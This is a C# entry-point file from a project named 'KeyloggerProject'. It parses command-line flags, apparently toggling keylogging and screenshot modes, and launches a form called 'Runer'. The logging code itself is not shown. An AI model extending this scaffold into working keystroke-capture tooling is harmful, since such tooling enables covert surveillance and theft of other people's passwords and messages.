﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;//thread

namespace KeyloggerProject
{
    static class Program
    {
        /// <summary>
        /// The main entry point for the application.
        /// </summary>
        [STAThread]
        static void Main(string[] args)
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            bool k, s, sp, dk, ds, dsp;
            k = dk = ds = s = sp =  dsp = true;
            for (int i = 0; i < args.Length; i++)
            {
                switch (args[i])
                {
                    case "-K":
                        {
                            k = true;
                            break;
                        }
                    case "-S":
                        {
                            s = true;
                            break;
                        }
                    case "-DK":
                        {
                            dk = true;
                            break;
                        }
                    case "-DS":
                        {
                            ds = true;
                            break;
                        }
                    case "-SP":
                        {
                            sp = true;
                            break;
                        }
                    case "-DDS":
                        {
                            dsp = true;
                            break;
                        }
                }
            }
            Application.Run(new Runer(k, s, sp, dk, ds, dsp));
        }
    }
}
